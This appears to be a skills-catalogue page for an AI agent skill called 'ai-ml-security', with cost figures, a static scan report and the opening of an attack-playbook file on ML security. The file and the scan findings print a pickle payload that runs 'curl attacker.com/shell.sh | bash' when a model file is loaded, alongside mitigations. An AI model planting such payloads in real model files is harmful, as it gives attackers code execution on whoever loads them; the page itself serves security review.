ai-ml-security

ai-ml-security is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 53 tokens per session (3,877 once invoked), scanned B, a copy of ai-ml-security, MIT.

A guide to assessing security risks in machine-learning and AI systems. It covers attacks on model files and training data, attacks that influence or copy models, privacy leaks, and risks from autonomous agents.

In plain words
What is it for?
Use it for authorized reviews of model supply chains, adversarial examples, data poisoning, model extraction, membership inference, model inversion, gradient leakage, and agent security.
Why use it?
It helps find weaknesses that ordinary application security checks may miss, such as malicious model files, poisoned training data, adversarial inputs, or information revealed by a model.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is │ ├── Yes → Load [llm-prompt-injection](../llm-prompt-injection/SKILL.md).

Good fit Use it for authorized reviews of model supply chains, adversarial examples, data poisoning, model extraction, membership inference, model inversion, gradient leakage, and agent security.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai
agentmods
npx agentmods add skills/securitytalent/bugskill-ai/ai-ml-security

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ai-ml-security

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ai-ml-security/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/ai-ml-security)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/ai-ml-security"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ai-ml-security/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ai-ml-security

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/ai-ml-security"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ai-ml-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 53 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,877 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00053 $0.03877
Opus 5.5 $0.00021 $0.01551
Sonnet 5.5 $0.00011 $0.00775
Haiku 4.5 $0.00005 $0.00388

Measured 1mo ago against content hash c0182081a9e5, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

ai-ml-security scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

return (os.system, ('curl attacker.com/shell.sh | bash',))

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

return (os.system, ('curl attacker.com/shell.sh | bash',))

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('curl attacker.com/shell.sh | bash',))
Origin

This is a copy

100% identical to ai-ml-security — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

Awesome-Claude-Code-Agent-Skills/09-AI-Security-and-Orchestration/ai-ml-security/SKILL.md · 426 lines

How it starts

The opening of the file, as written. The whole thing — 426 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: AI/ML Security — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.


1. MODEL SUPPLY CHAIN ATTACKS

1.1 Malicious Model Files — Pickle RCE

Python's pickle module executes arbitrary code during deserialization. PyTorch .pt/.pth files use pickle by default.

import pickle
import os

class MaliciousModel:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/shell.sh | bash',))

with open('model.pt', 'wb') as f:
    pickle.dump(MaliciousModel(), f)

Loading torch.load('model.pt') executes the embedded command. Applies to:

Format Risk Mitigation
.pt / .pth (PyTorch) Critical — pickle by default Use torch.load(..., weights_only=True) (PyTorch ≥ 2.0)
.pkl / .pickle Critical — raw pickle Never load untrusted pickles
.joblib High — uses pickle internally Verify provenance
.npy / .npz (NumPy) Medium — allow_pickle=True enables RCE Use allow_pickle=False
.safetensors Safe — tensor-only format, no code execution Preferred format
.onnx Safe — graph definition only, no arbitrary code Preferred for inference

Read the full file on GitHub · 426 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 426 lines · 53 tokens per session scan B c0182081a9e5

Subscribe to this mod's changes

ai-ml-security is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 53 tokens to every session and 3,877 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). It is 100% identical to ai-ml-security, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

rag-evaluator

Generates tailored giskard.checks evaluation suites for RAG (Retrieval-Augmented Generation) systems. Use whenever a user describes a Q&A bot grounded in documents, a knowledge-base chatbot, a retrieval system, or wants to evaluate answer groundedness, faithfulness, hallucination, retrieval quality, citation accuracy…

Giskard-AI/giskard-skills · 204 tokens

third-party-to-giskard

Convert existing result files from third-party LLM red-teaming and evaluation tools (garak, promptfoo, DeepTeam, PyRIT) into Giskard OSS SuiteResults, one suite per tool, and optionally upload them to Giskard Hub as evaluations. Use this whenever the user has a garak report.jsonl, a promptfoo eval or redteam output, a…

Giskard-AI/giskard-skills · 134 tokens

prompt-enhancer

Refines vague, unstructured user prompts into clear, constraint-driven prompts with explicit formats and rules.

codebygarv/Ai-skills · 24 tokens

lovable-prompt-builder

A companion skill to the HACD Incubator AI Issuance Skill. Where the root SKILL.md turns a project idea into an 8-document issuance package, this skill turns the same idea into an executive-grade Lovable build prompt — a single, copy-paste prompt a builder pastes into Lovable (or hands to Claude) to ship a working…

Satyam-10124/hacd-incubator-ai-issuance-skill · 0 tokens

机器学习模型训练

A guide to the machine-learning model workflow, from preparing data and tuning settings to evaluating and deploying models.

microwind/ai-skills · 38 tokens

data-pipeline

Guidance for designing, building, deploying, and maintaining data pipelines, which move and transform data between sources and destinations. It covers both real-time and batch processing, quality checks, and monitoring alerts.

microwind/ai-skills · 0 tokens